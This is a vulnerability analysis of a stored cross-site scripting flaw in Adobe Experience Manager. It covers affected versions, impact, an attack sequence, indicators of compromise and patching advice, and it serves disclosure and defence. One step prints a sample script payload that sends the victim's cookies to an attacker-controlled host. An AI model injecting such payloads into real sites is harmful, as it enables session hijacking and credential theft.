CVE-2025-47084: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47084 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch available under Adobe Security Bulletin APSB25-48. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated low-privileged attacker can inject malicious JavaScript into vulnerable form fields within AEM; the payload is stored server-side and executed in the browser of any user who subsequently visits the affected page. Exploitation requires low privileges and network access, but does require user interaction (a victim browsing to the compromised page), and the scope is changed, meaning the impact crosses the security boundary of the originating context (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and sensitive data exfiltration. Because the payload is stored persistently, any user browsing the affected AEM page — including administrators — is at risk, amplifying the potential blast radius. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47084. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, accessible over the network.
2. Authenticate with low privileges: Obtain or use an existing low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS — typically a text input or rich-text field that does not properly sanitize user input before storage.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a target user (potentially an administrator) to browse to the page containing the injected payload; the malicious script executes in their browser context.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or pivot to further attacks within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded JavaScript tags (<script>, javascript:, onerror=, etc.) in form field parameters.
• File System / Content Repository: Unexpected JavaScript snippets stored within AEM JCR (Java Content Repository) nodes, particularly in text or richtext properties of page components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Browser / Application: Unexpected redirects or pop-ups experienced by AEM users when browsing specific pages; reports from users of unusual browser behavior on AEM-hosted content.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premise to version 6.5.23.0 or later, and upgrade AEM Cloud Service to 2025.5.0 or later. As interim mitigations, administrators should implement a strict Content Security Policy (CSP) to limit script execution, enforce strict input validation and output encoding on all form fields, and restrict content authoring privileges to trusted users only. Monitoring AEM content repositories for unexpected script tags in stored content is also recommended (Adobe Advisory).

The vulnerability received routine coverage from vulnerability tracking services such as VulnDB and CVEFeed shortly after disclosure on June 10, 2025, and was noted by RedPacketSecurity on Mastodon. No significant vendor statements beyond the official Adobe security bulletin, nor notable independent researcher commentary or media coverage, have been identified for this CVE.